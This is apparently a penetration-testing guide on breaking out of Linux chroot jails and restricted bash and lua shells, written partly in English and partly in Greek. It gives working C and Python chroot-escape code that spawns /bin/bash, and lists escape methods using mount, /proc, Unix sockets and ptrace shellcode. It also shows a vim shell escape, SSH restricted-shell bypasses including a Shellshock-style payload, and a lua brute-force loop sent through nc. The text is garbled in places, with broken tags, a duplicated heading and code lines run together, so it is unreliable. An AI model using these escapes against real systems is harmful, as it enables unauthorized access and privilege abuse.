From wikipedia: The chroot mechanism is not intended to defend against intentional tampering by privileged (root) users. On most systems, chroot contexts do not stack properly and chrooted programs with sufficient privileges may perform a second chroot to break out.
Usually this means that to escape you need to be root inside the chroot.
The toolchw00t was created to abuse the following escenarios and scape from chroot.
Root + CWD
If you are root inside a chroot you can escape creating another chroot. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then create a new chroot on that new folder being you outside of it, you will now be outside of the new chroot and therefore you will be in the FS.
This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it.
Usually you won't find the chroot binary inside a chroot jail, but you could compile, upload and execute a binary:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
<summary>Πυθών</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Αυτό είναι παρόμοιο με την προηγούμενη περίπτωση, αλλά σε αυτή την περίπτωση ο επιτιθέμενος αποθηκεύει έναν περιγραφέα αρχείου στον τρέχοντα φάκελο και στη συνέχεια δημιουργεί το chroot σε έναν νέο φάκελο. Τελικά, καθώς έχει πρόσβαση σε αυτόν τον FDέξω από το chroot, έχει πρόσβαση σε αυτόν και διαφεύγει.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD μπορεί να περαστεί μέσω Unix Domain Sockets, οπότε:
* Δημιουργήστε μια διαδικασία παιδί (fork)
* Δημιουργήστε UDS ώστε ο γονέας και το παιδί να μπορούν να μιλούν
* Εκτελέστε chroot στη διαδικασία παιδιού σε έναν διαφορετικό φάκελο
* Στη διαδικασία γονέα, δημιουργήστε ένα FD ενός φακέλου που είναι εκτός του νέου chroot της διαδικασίας παιδιού
* Περάστε στη διαδικασία παιδιού αυτό το FD χρησιμοποιώντας το UDS
* Η διαδικασία παιδιού chdir σε αυτό το FD, και επειδή είναι εκτός του chroot της, θα ξεφύγει από τη φυλακή
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Τοποθέτηση της ρίζας συσκευής (/) σε έναν φάκελο μέσα στο chroot
* Chrooting σε αυτόν τον φάκελο
Αυτό είναι δυνατό στο Linux
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Τοποθέτηση του procfs σε έναν φάκελο μέσα στο chroot (αν δεν είναι ήδη)
* Αναζητήστε ένα pid που έχει διαφορετική είσοδο root/cwd, όπως: /proc/1/root
* Chroot σε αυτήν την είσοδο
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Δημιουργήστε ένα Fork (παιδική διαδικασία) και chroot σε έναν διαφορετικό φάκελο πιο βαθιά στο FS και CD σε αυτόν
* Από τη διαδικασία γονέα, μετακινήστε τον φάκελο όπου βρίσκεται η διαδικασία παιδί σε έναν φάκελο προηγούμενο από το chroot των παιδιών
* Αυτή η διαδικασία παιδί θα βρει τον εαυτό της εκτός του chroot
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Πριν από καιρό, οι χρήστες μπορούσαν να αποσφαλματώσουν τις δικές τους διαδικασίες από μια διαδικασία του εαυτού τους... αλλά αυτό δεν είναι πλέον δυνατό από προεπιλογή
* Ούτως ή άλλως, αν είναι δυνατόν, μπορείτε να ptrace σε μια διαδικασία και να εκτελέσετε ένα shellcode μέσα σε αυτήν ([δείτε αυτό το παράδειγμα](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumeration
Πάρτε πληροφορίες σχετικά με τη φυλακή:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Modify PATH
Ελέγξτε αν μπορείτε να τροποποιήσετε τη μεταβλητή περιβάλλοντος PATH
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Χρησιμοποιώντας το vim
:setshell=/bin/sh:shell
Δημιουργία σεναρίου
Ελέγξτε αν μπορείτε να δημιουργήσετε ένα εκτελέσιμο αρχείο με /bin/bash ως περιεχόμενο
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Get bash from SSH
Αν έχετε πρόσβαση μέσω ssh, μπορείτε να χρησιμοποιήσετε αυτό το κόλπο για να εκτελέσετε ένα bash shell:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Σημειώστε ότι κάθε φορά που εκτελείτε την προηγούμενη μία γραμμή σε διαφορετικό περιβάλλον lua η σειρά των συναρτήσεων αλλάζει. Επομένως, αν χρειάζεται να εκτελέσετε μια συγκεκριμένη συνάρτηση, μπορείτε να εκτελέσετε μια επίθεση brute force φορτώνοντας διαφορετικά περιβάλλοντα lua και καλώντας την πρώτη συνάρτηση της βιβλιοθήκης le:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i inseq1000; doecho"for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end"|nc10.10.10.1010006|grep-A5"Code: char"; done
Αποκτήστε διαδραστικό lua shell: Εάν βρίσκεστε μέσα σε ένα περιορισμένο lua shell, μπορείτε να αποκτήσετε ένα νέο lua shell (και ελπίζουμε απεριόριστο) καλώντας: